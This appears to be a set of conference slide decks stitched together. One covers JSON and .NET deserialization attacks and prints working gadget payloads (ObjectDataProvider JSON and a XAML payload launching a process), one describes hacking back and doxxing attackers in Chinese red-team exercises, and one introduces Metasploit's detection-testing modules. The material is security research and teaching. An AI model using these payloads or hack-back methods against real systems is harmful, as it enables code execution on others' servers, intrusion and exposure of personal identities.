Radios” series (all about RF Physical Layers) ▸ Shmoocon: https://www.youtube.com/watch?v=L3udJnRe4vc ▸ Troopers: https://www.youtube.com/watch?v=OFRwqpH9zAQ ▸ HITB2017AMS Commsec: https://www.youtube.com/watch?v=QeoGQwT0Z1Y ▸ Matt’s LoRa research ▸ 33c3: https://media.ccc.de/v/33c3-7945-decoding_the_lora_phy ▸ Marc’s OSINT techniques ▸ HITB2016AMS Commsec: https://www.youtube.com/watch?v=JUAiav674D8 ▸ Dallas siren attack research ▸ White paper: https://www.bastille.net/blogs/2017/4/17/dallas-siren-attack RADIO EXPLOITATION 101 // BASTILLE NETWORKS ACKNOWLEDGEMENTS ▸ Balint and Logan from ’s Threat Research Team ▸ at large ▸ DEF CON 25 team! ▸ See you at DEF CON 50! THANKS matt@ .net @embeddedsec github.com/BastilleResearch marc@ .net @marcnewlin QUESTIONS? matt@ .net @embeddedsec github.com/BastilleResearch marc@ .net @marcnewlin
pdf
Friday'the'13th:'JSON'Attacks Alvaro'Muñoz'(@pwntester) Oleksandr Mirosh HPE'Security >"whoarewe • Alvaro'Muñoz • Security'Research'with'HPE • @pwntester • Oleksandr Mirosh • Security'Research'with'HPE Introduction • 2016'was'the'year'of'Java'Deserialization'apocalypse • Known'vector'since'2011 • Previous'lack'of'good'RCE'gadgets'in'common'libraries • Apache'Commons-Collections'Gadget'caught'many'off-guard. • Solution? • Stop'using'Java'serialization • Use'a'secure JSON/XML'serializer'instead • Do'not'let'history'repeat'itself • Is'JSON/XML/<Put$your$favorite$format$here>'any'better? • Raise'awareness'for'.NET'deserialization'vulnerabilities Agenda 1. Attacking'JSON'serializers • Affected'Libraries • Gadgets • Demo 2. Attacking'.NET'serializers • Affected'formatters • Gadgets • Demo 3. Generalizing'the'attack • Demo Is'JSON'any'better? Introduction • Probably'secure'when'used'to'transmit'data'and'simple'JS'objects • Replacing'Java/.NET'serialization'with'JSON'requires'OOP'support. • How'do'we'serialize'a'java.lang.Object field? • How'do'we'deal'with'generics? • How'do'we'serialize'interface'fields? • How'do'we'deal'with'polymorphism? Quick"recap"of"Java"deser attacks • Attackers'can'force'the'execution'of'any'readObject() / readResolve() methods'of'any'class'sitting'in'the'classpath • By'controlling'the'deserialized'field'values'attackers'may'abuse'the' logic'of'these'methods'to'run'arbitrary'code • JSON'libraries'do'not'(normally)'invoke'deserialization'callbacks'or' magic'methods Can'we'initiate'a'gadget'chain'in'some'other'way? Object"Reconstruction • JSON'libraries'need'to'reconstruct'objects'by'either: • Calling'default'constructor'and'using'reflection to'set'field'values • Calling'default'constructor and'calling'setters to'set'field'values • Calling'“special”'constructors,'type'converters'or'callbacks • Calling'common'methods'such'as:' • hashcode(), toString(), equals(), finalize(), … • Combinations'of'the'previous'ones'J Gadgets:".NET"Edition • System.Configuration.Install.AssemblyInstaller • set_Path • Execute'payload'on'local'assembly'load • System.Activities.Presentation.WorkflowDesigner • set_PropertyInspectorFontAndColorData • Arbitrary'XAML'load • Requires'Single'Threaded'Apartment'(STA)'thread • System.Windows.ResourceDictionary • set_Source • Arbitrary'XAML'load • Required'to'be'able'to'work'with'setters'of'types'derived'from'IDictionary • System.Windows.Data.ObjectDataProvider • set_(MethodName | ObjectInstance | ObjectType) • Arbitrary'Method'Invocation ObjectDataProvider set_MethodName() BeginQuery() QueryWorker() InvokeMethodOnInstance()' Refresh() set_ObjectType() set_ObjectInstance() ObjectDataProvider {"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework", "ObjectInstance":{ "$type":"System.Diagnostics.Process, System”}, "MethodParameters":{ "$type":"System.Collections.ArrayList, mscorlib", "$values":["calc"]}, "MethodName":"Start" } • Non-default'constructor'with'controlled'parameters' • ObjectType + ConstructorParameters • Any'public'instance'method'of unmarshaled object'without'parameters • ObjectInstance + MethodName • Any'public'static/instance'method'with'controlled'parameters • ObjectType + ConstructorParameters +'MethodName +'MethodParameters Gadgets:"Java"Edition • org.hibernate.jmx.StatisticsService • setSessionFactoryJNDIName • JNDI'lookup' • Presented'during'our'JNDI'attacks'talk'at'BlackHat'2016 • com.atomikos.icatch.jta.RemoteClientUserTransaction • toString • JNDI'lookup' • com.sun.rowset.JdbcRowSetImpl • setAutoCommit • JNDI'lookup • Available'in'Java'JRE JdbcRowSetImpl.setAutoCommit http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/8u40-b25/com/sun/rowset/JdbcRowSetImpl.java/ JdbcRowSetImpl.setAutoCommit http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/8u40-b25/com/sun/rowset/JdbcRowSetImpl.java/ Gadgets:"non"RCE Arbitrary'Getter'call • org.antlr.stringtemplate.StringTemplate (Java) • toString • Can'be'used'to'chain'to'other'gadgets'such'as'the'infamous' TemplatesImpl.getOutputProperties() • System.Windows.Forms.BindingSource (.NET) • set_DataMember XXE • System.Xml.XmlDocument/XmlDataDocument (.NET < 4.5.2) • set_InnerXml • System.Data.DataViewManager (.NET < 4.5.2) • set_DataViewSettingCollectionString Analyzed"Libraries • Arbitrary'Code'Execution'Requirements: 1. Attacker'can'control'type'of'reconstructed'objects • Can'specify'Type • _type,'$type,'class,'classname,'javaClass,'… • Library'loads'and'instantiate'Type 2. Library/GC'will'call'methods'on'reconstructed'objects 3. There'are'gadget'chains'starting'on'method'executed'upon/after' reconstruction Categorization • Format'includes'type'discriminator 1. Default 2. Configuration'setting • Type'control 1. Cast'after'deserialization 2. Inspection'of'expected'type { "$type": "Newtonsoft.Json.Samples.Stockholder, Newtonsoft.Json.Tests", "FullName": "Steve Stockholder", "Businesses": { "$type": "System.Collections.Generic.List`1[[Newtonsoft.Json.Samples.Business, Newtonsoft.Json.Tests]], mscorlib", "$values": [ { "$type": "Newtonsoft.Json.Samples.Hotel, Newtonsoft.Json.Tests", "Stars": 4, "Name": "Hudson Hotel” }]}} Expected"Type’s"Object"Graph"Inspection • Inspection'of'expected'type’s'object'graph • Check'assignability from provided'type' • In'some'cases'it'also'create'a'whitelist of'allowed'types • Vulnerable'if • Expected'type'is'user-controllable • Attacker'can'find'injection'member'in'object'graph'and'no'whitelist'is'applied Name : String Items : Dict<String, Object> Message : Message Body : Object Exc: Exception User Message Data : IDictionary Message : String Source: String StackTrace: String InnerException: Exception … Exception … Value : Object ValidationException Name : String Items : Dict<String, Object> Message : Message Props : Hashtable IUser Summary Name Language Type Name Type'Control Vector FastJSON .NET Default Cast Setter Json.Net .NET Configuration Expected'Object'Graph'Inspection Setter Deser.'callbacks FSPickler .NET Default Expected'Object'Graph'Inspection Setter Deser.'callbacks Sweet.Jayson .NET Default Cast Setter JavascriptSerializer .NET Configuration Cast Setter DataContractJsonSeri alizer .NET Default Expected'Object'Graph'Inspection'+' whitelist Setter Deser.'callbacks Jackson Java Configuration Expected'Object'Graph'Inspection Setter Genson Java Configuration Expected'Object'Graph'Inspection Setter JSON-IO Java Default Cast toString FlexSON Java Default Cast Setter GSON Java Configuration Expected'Object'Graph'Inspection - FastJson • Always'includes'Type'discriminators • There'is'no'Type'check'controls'other'than'a'post-deserialization'cast • Invokes • Setter • Should'never'be'used'with'untrusted'data • Example: • KalikoCMS • CVE-2017-10712 Var obj = (ExpectedType) JSON.ToObject(untrusted); JavaScriptSerializer • System.Web.Script.Serialization.JavaScriptSerializer • By'default,'it'will'not'include'type'discriminator'information • Type'Resolver'can'be'used'to'include'this'information. • Weak'Type'control:'post-deserialization'cast'operation • During'deserialization,'it'will'call: • Setters • It'can'be'used'securely'as'long'as'a'type'resolver'is'not'used'or'the' type'resolver'is'configured'to'whitelist'valid'types. JavaScriptSerializer sr = new JavaScriptSerializer(new SimpleTypeResolver()); string reqdInfo = apiService.authenticateRequest(); reqdDetails det = (reqdDetails)(sr.Deserialize<reqdDetails>(reqdInfo)); DataContractJsonSerializer • System.Runtime.Serialization.Json.DataContractJsonSerializer • Performs'a'strict'type'graph'inspection'and'whitelist'creation. • However,'we'found'that'if'the'attacker'can'control'the'expected'type'used' to'configure'the'deserializer,'they'will'be'able'to'gain'code'execution.'Eg: • Invokes: • Setters • Serialization'Constructors • Can'be'used'securely'as'long'as'the'expected'type'cannot'be'controlled'by' users. var typename = cookie["typename"]; … var serializer = new DataContractJsonSerializer(Type.GetType(typename)); var obj = serializer.ReadObject(ms); Json.Net • It'does'not'include'Type'discriminators'unless'TypeNameHandling setting' other'than'None is'used • Performs'an'inspection'of'Expected'Type’s'Object'Graph • Invokes: • Setters • Serialization'callbacks • Type'Converters • Use'SerializationBinder to'whitelist'Types'if'TypeNameHandling is' required public class Message { [JsonProperty(TypeNameHandling = TypeNameHandling.All)] public object Body { get; set; } } Demo"1:"Breeze"(CVE-2017-9424) Fixed'in'Breeze'1.6.5'onwards Serializer"Settings http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/8u40-b25/com/sun/rowset/JdbcRowSetImpl.java/ Unsafe"Deserialization"&"Entrypoint https://github.com/Breeze/breeze.server.net/blob/master/AspNet/Breeze.ContextProvider/ContextProvider.cs Demo"1:"Breeze"(CVE-2017-9424) Similar"Research • Java'Unmarshaller Security • Author:'Moritz'Bechler • Parallel'research'published'on'May'22,'after'our'research'was'accepted'for' BlackHat'and'abstract'was'published'J. • Focus'exclusively'on'Java • Overlaps'with'our'research'on: • Jackson'and'JSON-IO'libraries • JdbcRowSetImpl.setAutoCommit gadget • Include'other'interesting'gadgets • https://github.com/mbechler/marshalsec .NET'Formatters Introduction • Attacks'on'.NET'formatters'are'not' new • James'Forshaw'already'introduced' them'at'BlackHat'2012'for' • BinaryFormatter • NetDataContractSerializer • Lack'of'RCE'gadget'until'recently'L • Goals: • Raise'awareness'about'perils'of'.NET' deserialization • Present'new'vulnerable'formatters' scenarios • Present'new'gadgets • Need'new'gadgets'that'works'with' Formatters'other'than'BinaryFormatter PSObject Gadget"(CVE-2017-8565) • Bridges'to'custom'deserializer https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/PSObject.cs PSObject Gadget"(CVE-2017-8565) https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/InternalDeserializer.cs … … LanguagePrimitives.FigureConversion()'allows'to: •'Call'the'constructor'of'any'public'Type'with'one'argument'(attacker'controlled) •'Call'any'setters'of'public'properties'for'the'attacker'controlled'type •'Call'the'static'public'Parse(string) method'of'the'attacker'controlled'type.' https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/LanguagePrimitives.cs PSObject Gadget"(CVE-2017-8565) https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/LanguagePrimitives.cs … PSObject Gadget"(CVE-2017-8565) XAML"Payload System.Windows.Markup.XamlReader.Parse()''-->'Process.Start(“calc”) <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"> <ObjectDataProvider x:Key="LaunchCalc“ ObjectType="{x:Type Diag:Process}" MethodName="Start"> <ObjectDataProvider.MethodParameters> <System:String>calc</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary> .NET"Native"Formatters Name Format Additional'requirements' Comments BinaryFormatter Binary' No ISerializable gadgets SoapFormatter SOAP'XML No ISerializable gadgets NetDataContractSerializer XML No ISerializable gadgets JavaScriptSerializer JSON Insecure'TypeResolver Setters'gadgets DataContractSerializer XML Control'of'expected'Type or'knownTypes or'weak'DataContractResolver Setters'gadgets Some'ISerializable gadgets DataContractJsonSerializer JSON Control'of'expected'Type or'knownTypes Setters'gadgets Some'ISerializable gadgets XmlSerializer XML Control'of'expected'Type Quite'limited;'does'not'work'with'interfaces' ObjectStateFormatter Text,'Binary No Uses'BinaryFormatter'internally;' TypeConverters gadgets LosFormatter Text,'Binary No Uses'ObjectStateFormatter internally BinaryMessageFormatter Binary No Uses'BinaryFormatter'internally XmlMessageFormatter XML Control'of'expected'Type Uses'XmlSerializer internally Demo"2:"NancyFX (CVE-2017-9785) Fixed'in'version'1.4.4'/'2.0-dangermouse'onwards NCSRF"Cookie • CSRF'cookie • Latest'stable'version'used'a'BinaryFormatter serialized'cookie'(1.x) • AAEAAAD/////AQAAAAAAAAAMAgAAAD1OYW5jeSwgVmVyc2lvbj0wLjEwLjAuMCwgQ3VsdHVyZT1uZX V0cmFsLCBQdWJsaWNLZXlUb2tlbj1udWxsBQEAAAAYTmFuY3kuU2VjdXJpdHkuQ3NyZlRva2VuAwAA ABw8UmFuZG9tQnl0ZXM+a19fQmFja2luZ0ZpZWxkHDxDcmVhdGVkRGF0ZT5rX19CYWNraW5nRmllbG QVPEhtYWM+a19fQmFja2luZ0ZpZWxkBwAHAg0CAgAAAAkDAAAAspLEeOrO0IgJBAAAAA8DAAAACgAA AAJ9FN3bma5ztsdODwQAAAAgAAAAAt9dloO6qU2iUAuPUAtsq+Ud0w5Qu1py8YhoCn5hv+PJCwAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= • Pre-released'2.x'used'a'custom'JSON'parser'to'make'it'compatible'with'.NET'Core'first'versions • Pre-auth Remote'Code'Execution'in'both'versions Video Generalizing'the' Attacks Attacking"all"the"deserializers • During'unmarshaling,'objects'will'need'to'be'created'and'populated' which'normally'mean'calling'setters'or'deserialization'constructors. • Arbitrary'Code'Execution'Requirements: 1. Attacker'can'control'type'to'be'instantiated'upon'deserialization 2. Methods'are'called'on'the'reconstructed'objects 3. Gadget'space'is'big'enough'to'find'types'we'can'chain'to'get'RCE • We'can'use'our'setter'gadgets'to'attack'most'formats'J Examples • FsPickler (xml/binary) • A'fast,'multi-format'messaging'serializer'for'.NET • Includes'arbitrary'Type'discriminators • Invokes'setters'and'ISerializable constructor'and'callbacks • Object'Graph'Inspection • SharpSerializer • XML'and'binary'serialization'for'.NET'and'Silverlight • Includes'arbitrary'Type'discriminators • Invokes'setters • No'type'control'other'than'post-deserialization'cast • Wire/Hyperion • A'high'performance'polymorphic'serializer'for'the'.NET'framework'used'by'Akka.NET • JSON.NET with'TypeNameHandling = All or'custom'binary'one • Includes'Type'discriminators'and'invokes'setters'and'ISerializable constructor'and' callbacks Beware"of"rolling"your"own"format • NancyFX • Custom'JSON'parser'replacing'BinaryFormatter'(Pre-released'2.x')'to'make'it' compatible'with'.NET'Core'first'versions • DotNetNuke CMS'(DNN'Platform) • Wraps'XmlSerializer around'a'custom'XML'format'which'includes'the'type' to'be'used'to'create'the'XmlSerializer • This'deserves'a'slide'on'its'own'J {"RandomBytes":[60,142,24,76,245,9,202,183,56,252],"CreatedDate": "2017-04- 03T10:42:16.7481461Z","Hmac":[3,17,70,188,166,30,66,0,63,186,44,2 13,201,164,3,19,56,139,78,159,170,193,192,183,242,187,170,221,140 ,46,24,197],"TypeObject":"Nancy.Security.CsrfToken, Nancy, Version=2.0.0.0, Culture=neutral, PublicKeyToken=null”} Overcoming"XmlSerializer constraints • Types'with'interface'members'cannot'be'serialized • System.Windows.Data.ObjectDataProvider is'XmlSerializer friendly'J • System.Diagnostic.Process has'Interface'members'L … use'any'other' Type! • XamlReader.Load(String) ->'RCE' • ObjectStateFormatter.Deserialize(String) ->'RCE • DotNetNuke.Common.Utilities.FileSystemUtils.PullFile(String) ->'WebShell • DotNetNuke.Common.Utilities.FileSystemUtils.WriteFile(String) ->'Read'files • Runtime'Types'needs'to'be'known'at'serializer'construction'time • ObjectDataProvider contains'an'Object'member'(unknown'runtime'Type) • Use'a'parametrized Type'to'“teach”'XmlSerializer about'runtime'types.'Eg: System.Data.Services.Internal.ExpandedWrapper`2[ [PUT_RUNTIME_TYPE_1_HERE],[PUT_RUNTIME_TYPE_2_HERE] ], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 Demo"3:"DotNetNuke (CVE-2017-9822) Fixed'in'DNN'Platform'9.1.1'or'EVOQ'9.1.1'onwards Source https://github.com/dnnsoftware/Dnn.Platform/blob/a142594a0c18a589cb5fb913a022eebe34549a8f/DNN%20Platform/Library/Services/Personalization/PersonalizationController.cs#L72 Processed,'for'example,'when' accessing'a'404'error'page Sink https://github.com/dnnsoftware/Dnn.Platform/blob/a142594a0c18a589cb5fb913a022eebe34549a8f/DNN%20Platform/Library/Common/Utilities/XmlUtils.cs#L201 Video Wrap-Up Main"Takeaways • Do'not'deserialize'untrusted'data! • … no,'seriously,'do'not'deserialize'untrusted'data! • … ok,'if'you'really'need'to: • Make'sure'to'evaluate'the'security'of'the'chosen'library • Avoid'libraries'without'strict'Type'control • Type'discriminators'are'necessary'but'not'sufficient'condition • Never'use'user-controlled'data'to'define'the'deserializer'expected'Type • Do'not'roll'your'own'format Thank'you! Alvaro'Muñoz'(@pwntester)'&'Oleksandr Mirosh
pdf
红蓝对抗中的溯源反制实战 The practise of trace and retaliation in red team/blue team exercises 深圳证券交易所 网络安全主管 郭威 目录 战前准备 1 战中对抗 2 战后反思 3 总结 4 战前准备 组织工作 技术工作 4 引子 > 案例1:社工 找到技术支持 QQ群 伪造成基金公 司人员 通过之后修改 姓名+头像 2天 关于XX网络安 全整改事项说明 T 出群聊 重新添加好友 分析链接 确定身份 IP定位 提交报告 5 引子 > 案例2:钓鱼邮件 钓鱼邮件 控制邮箱 《东莞深圳通技术有限公司》 标题 发送 董事长A<[email protected]> 接收 员工B 收到邮件马上建立一个公司QQ群,方便工作安排,建好群号发到此 邮箱给我 备注:设置允许任何人加入,先别拉人,由我进群自行拉人 找到真实 IP 提交报告 6 问题 1. 高分报告长什么样? 2. 溯源反制该如何组织? 3. 蜜罐应该如何部署? 从现在的经验来看: n 这些攻击案例,真的只值200+分吗? 7 备战 > 组织架构 消息组(4) 分析组 (9) 处置组 (4) 线索 特征 处置 报告 各 部 门 异 地 中 心 下 属 公 司 关 联 机 构 监控组 (11) 可用性监控 指挥部 决 策 汇 报 工作小组 公安部 证监会 市网监 其他... 报 告 溯源反制组(3) 线索 8 备战 > 对蜜罐的理解 定位:互联网用重型蜜罐,内网 全量部署轻型蜜罐 n 获取攻击者信息(IP、社交ID) n 反制攻击者 n 诱饵:域名、目录、端口、github、文库等 n 手段:jsonp、mysql local infile、rdp 漏洞、执行文件(activex、pe文件) 9 备战 > 蜜罐部署 已知漏洞 众测、红蓝对抗 Shiro/Fastjson 热门漏洞 某VPN、某EDR F5 WEB、常见WEB漏洞 产品特性 RDP反制 Mysql 反制 路径跳转 a.b.cn/shiro 伪造接口 a.b.cn/actuator/env 域名复用 old.b.cn 欺骗域名 vpn.b.cn 常见目录 a.b.cn/admin 端口暴露 oa.b.cn:3389/21/22 github泄露 db.b.cn:3306 战中对抗 蜜罐 反制 11 迎战 > 拟定溯源反制组工作流程 n 高价值告警:一部分来自于蜜罐,一部分来自于分析组识别的真人攻击。 n 低价值告警:来自于NTA、WAF等边界检测设备。 人员能力栈构成: 1、能获取社工库信息:电报群组。 2、具备攻击能力:初级能熟练利用常见漏洞;中级能代码审计、组合利用漏洞;高级有0day。 3、二级制逆向:在沙箱基础上,对PE、ELF文件具备分析能力。 12 迎战 > 案例3:发现黑产 5天过去了……蜜罐依然没有收获,只能主动出击 n IP注册地为香港特别行政区 n 存在 phpmyadmin 弱口令 n 数据库写文件拿到 webshell n 获取系统权限 13 迎战 > 案例3:发现黑产 14 迎战 > 案例3:发现黑产 1. 扫描器发现 800+ 台服务器存在 mysql 弱口令 2. C2服务器还控制了 600+ 台个人电脑 15 迎战 > 案例3:发现黑产 ref.attacker.com 在一份19年的在线病毒分析报告中发现了 ref.attacker.com 曾经解析到了 119.xxx.xxx.xxx 1. 两个IP原先有正常业务:victim.cn和 victim2.cn 2. 最晚在2020年3月,黑客入侵了119.xxx.xxx.xxx (victim2.cn),将域名3、4、5、6指向了该服务器,直到 2020-06-18日。 3. 预计在2020年9月,黑客入侵了211.xxx.xxx.xxx(victim.cn), 将域名3、4、5、6指向了该服务器,目前仍然有效。 4. 域名qq177xxxxx.attakcer.org泄露了QQ号码 177xxxxxx。 5. 利用QQ号码溯源到了身份证、手机号信息。 16 迎战 > 案例4:谜之得分 IP 邮箱 whois 当当网账号 支付宝账号 红蓝对抗无关。对于红蓝对抗无关的追踪溯源完整还原攻击链条,溯源到黑客的虚拟身份、真 实身份,溯源到攻击队员,反控攻击方主机,根据程度阶梯给分。本次溯源到疑似攻击者的虚 拟身份,给XXX分。 发现的攻击IP是非有效IP。入侵是得分的前提,对扫描探测(进行信息探测踩点,并未攻击成 功)的追踪溯源不得分。请明确是否入侵成功,并提供入侵成功证据。 17 迎战 > 案例5:利用设备指纹捕获真实攻击者 aab21d24ebb6ca60f1405d5dc84a2453 bingzi5xxxx0 百度ID 百度贴吧 CSDN 脉脉 手机号 教育经历 工作经历 18 迎战 > 案例5:利用设备指纹捕获真实攻击者(2) ……… 蜜罐厂家指纹库 深交所 提交指纹 参演单位1 设备指纹 + 百度ID 参演单位2 设备指纹 + 新浪ID 参演单位N 设备指纹 + 优酷ID 返回:社交ID 19 迎战 > 案例6:钓鱼邮件案例 《关于申报XX杰出员工的通知》 C2地址: 111.222.333.XX 邮件头找到发件人: [email protected] 域名持有人:CC 邮箱:[email protected] dddd 找到CSDN博客 佐证具备攻击能力 找到公司注册信息 获得手机号码185XX 工作经历 脉 脉 毕业院校 工作经历 领 英 微博/知乎 /Github 社 交 微信/支付 宝 其 他 nmap查看到指纹 XXXX_VM_XX 20 迎战 > 案例7:钓鱼邮件案例(延申) 我方攻击者 他山攻击者 21 迎战 > 案例8:水坑案例 该服务器在内网 开始横向扩散 利用后台计划任务 写入免杀webshell 管理后台 弱口令 22 迎战 > 案例8:水坑案例 该服务器在内网 开始横向扩散 利用后台计划任务 写入免杀webshell 管理后台 弱口令 溯源 反制 厂家情报 中心 样本泄露了 物理路径 捕获到用 户名 用户信息 在webshell中植入 probe.js 浏览器 (Chrome) 操作系统 在webshell中增加 canvas探针 CPU 主板 Chrome UAF 0day CS 免杀 客户端 获得微信 ID IP代理 池 browser, ua, lang, referer, location, toplocation, cookie, domain, title, screen, flash x 2 战后反思 蜜罐 反制 24 战后 > 反思2019年溯源中存在的问题 case1:QQ群社工 case2:邮箱钓鱼 1、将计就计,组建QQ群,诱导对方提 供链接、执行文件 2、针对回连信息(如IP、域名)进行 溯源 1、逆向分析,给出原理解析 2、利用社工库,从QQ号找到攻击者身 份信息 25 战后 > 反思 2020 年溯源中的局限性 战术上,也是柿子捡软的捏: 1、对于隐藏手段较为复杂 的场景,无能为力。 2、对于做了加固的“肉鸡” 服务器,定向攻击较难。 网络+应用隐藏: n Domain Fronting n cs2modrewrite n Malleable-C2-Profiles n Cloudflare Worker R e f : < 红 队 基 础 建 设 : 隐 藏 你 的 C 2 s e r v e r > h t t p s : / / x z . a l i y u n . c o m / t / 4 5 0 9 26 战后 > 协作机制改进 蜜罐 钓鱼 扫描 作为属性,而非类别 IP 来源 记录 1.1.1.1 蜜罐 开放3306端口,存在弱口令,无法提权,请 xxx 继续跟进。 2.2.2.2 钓鱼 开放80、443,存在xx漏洞,已获得webshell。 3.3.3.3 扫描 NTA,无对外开放端口。 27 战后 > 报告标题优化 一部手机失窃引发的惊心动魄的战争 看蓝队如何干翻你 手机一丢,倾家荡产 初探第三代蜜罐,xxx精准溯源攻击者身份 警民联动、共建美好网络空间 -- xxx联合xx网监在国庆前夕铲除一伙网络博彩组织 一部手机失窃而揭露的窃取个人信息实现资金盗取的黑色产业链 攻防演练中的溯源反制实战 总结 29 溯源反制工作 01 02 03 04 责任主体 组织架构 协作机制 技术手段 这应该是公安的 事情? 三人小组 内外并举 攻击视角 n 社工信息的合法性、 准确性、完整性 n 常态化防护中,是 否有资源开展溯源 反制工作? n “比赛”规则。考 察CII单位与安全服 务厂商、公安的配 合能力。 n 公安的资源保障 n 明确目标:把握好 溯源的度。需要高 级别研究员? 0Day?普通蓝队? n 人员构成:web+ 二进制+信息库 n 对外:1)和公安 部门保持顺畅的沟 通渠道;2)依托 厂家的情报信息。 n 对内:和分析组、 夜班做好衔接。利 用共享文档进行信 息记录。 n exploit:弱口令 /DB写 webshell/phpstu dy /tomcat RCE n payload:CS/冰蝎 /蚁剑/哥斯拉/菜刀 n 平台:bayonet 30 其他 n 钓鱼邮件:别遗漏反垃圾邮件网关中拦截的邮件。 n 获取身份:注意邮件头中的 host 字段。 n 平常心:加分的不确定性因素太多,是否有人攻击你?攻击者水平?裁判尺度? n 辩证看待加分与排名。 n 反制工作本身的法律风险,算不算灰色地带? 汇报完毕, 请批评指正 安全建设 哪有什么圣杯 无非是日拱一卒的心态 和对解决问题的执拗
pdf
Metasploit vSploit Modules 1 Marcus J. Carey David “bannedit” Rude Will Vandevanter Outline • Objective of vSploit Modules • Metasploit Framework architecture • What are Metasploit modules? • vSploit modules • vSploit and Intrusion Kill Chains • vSploit and Intrusion Kill Chains • Writing Metasploit Modules • Live Demo 2 • Metasploit Project founded in 2003 • Open Source penetration testing platform based with over 1 million downloads in the past year • Acquired by Rapid7 in 2009 • HD Moore joined Rapid7 as Chief Security Office and Chief Metasploit overview • HD Moore joined Rapid7 as Chief Security Office and Chief Architect of Metasploit • Rapid7 remains committed to the Community • Metasploit Framework is the foundation for the commercial editions Metasploit Express and Metasploit Pro 3 LIBRARIES INTERFACES Rex MSF Core Console CLI TOOLS Metasploit Framework Architecture MODULES MSF Core MSF Base Payload Encoder NOP Auxiliary PLUGINS RPC Exploit GUI & Armitage 4 LIBRARIES INTERFACES Rex MSF Core Console CLI TOOLS Metasploit Framework Architecture MODULES MSF Core MSF Base Payload Encoder NOP Auxiliary PLUGINS RPC Exploit GUI & Armitage 5 What are Metasploit Modules? • More than just exploits • Payloads – the “arbitrary code” you hear about in advisories • Encoders – add entropy to payloads, remove bad characters • NOP – create sophisticated nopsleds • Auxiliary – Like an exploit module but without a payload – Underappreciated 6 Which would you pick for a training drill? Live Ammo? Or Paint Balls? 7 = Live Exploits = vSploit Modules Introducing: vSploit Modules • New spin on auxiliary modules – Focus on attack response emulation – Not intended for exploitation – Continues with Metasploit roots as security testing and validation framework – Allows organizations to understand their current security – Allows organizations to understand their current security investment • Stand-alone compatibility – No exploitation used – Possible to remove exploit modules if necessary in some environments 8 • Evaluate devices on their own merit • Minimal traffic evasion • Trigger alerts on purpose • Ensure proper network device placement • Test and train security staff vSploit: Purpose • Test and train security staff • Test security architecture without exploits 9 • Many network based security offering monitor network traffic for behavior • Many devices are signature based • Need to be placed on network properly to see interesting traffic vSploit: Interesting Traffic • Good test cases are hard to emulate 10 • IDS • IPS • DLP • Firewalls • Network Intelligence Devices vSploit: Network Traffic Device • Network Intelligence Devices 11 • ESIM • Netflow collectors • Other Log correlation devices (ie. Splunk) • Network-based vulnerability analysis devices Security Monitoring 12 • Signature-based • Looks for known suspicious traffic • SQL injections • Attack responses • Alert on suspicious behavior IDS/IPS • Alert on suspicious behavior 13 • Similar to IDS • Concerned with data leakage • Personally Identifiable Information (PII) – Social security numbers – Payment information Data Loss Prevention (Network Based) • Protected Health Information (PHI) – Medical records • PCI-related data – Credit card numbers 14 • Collects system logs • Significant capital investment • Provides correlation • Provides reporting • Key to most security operations efforts Enterprise Security Information Management (ESIM) • Key to most security operations efforts 15 Network vSploit: Interesting Traffic Client Sends Request for Interesting Traffic and Designated Port Network Traffic Analysis Device Client MSF #1 Sends Signature Matching String MSF vSploit: Simulating Malicious DNS Queries MSF DNS Server Metasploit sends out DNS Query to Internal DNS, i.e.. Domain Controller foo.ru foo.cn foo.kp ESIM Logs Intrusion Kill Chains Intrusion Kill Chains 19 Phase Detect Deny Disrupt Degrade Deceive Destroy Reconnaissance Web Analytics Firewall ACL Weaponization NIDS NIPS Delivery Vigilant user Proxy Filter In-line AV Queuing Exploitation HIDS Patch DEP Kill Chain – Course of Action Matrix Installation HIDS *chroot* jail AV C2 NIDS Firewall ACL NIPS Tarpit DNS redirect Actions on Objectives Audit log Quality of Service Honeypot 20 Source: Hutchins, Cloppert, Amin – Lockheed Martin Phase Detect Deny Disrupt Degrade Deceive Destroy Reconnaissance Web Analytics Firewall ACL Weaponization NIDS NIPS Delivery Vigilant user Proxy Filter In-line AV Queuing Exploitation HIDS Patch DEP vSploit Testing Detection Capabilities Installation HIDS *chroot* jail AV C2 NIDS Firewall ACL NIPS Tarpit DNS redirect Actions on Objectives Audit log Quality of Service Honeypot 21 Source: Hutchins, Cloppert, Amin – Lockheed Martin Phase Detect Deny Disrupt Degrade Deceive Destroy Reconnaissance Web Analytics Firewall ACL Weaponization NIDS NIPS Delivery Vigilant user Proxy Filter In-line AV Queuing Exploitation HIDS Patch DEP vSploit Testing Detection Capabilities Installation HIDS *chroot* jail AV C2 NIDS Firewall ACL NIPS Tarpit DNS redirect Actions on Objectives Audit log Quality of Service Honeypot 22 Source: Hutchins, Cloppert, Amin – Lockheed Martin Unable to perform tests in red. vSploit Modules Screen Shots vSploit: Web PII Module - Configuration vSploit Web PII Module - In Action vSploit: HTTP File Download Server vSploit Web Beaconing - Configuration vSploit: Web Beaconing – In Action vSploit: DNS Beaconing – Wireshark Analysis vSploit: Vulnerable Headers 30 vSploit: Vulnerable Headers PCAP 31 Writing Metasploit Modules • 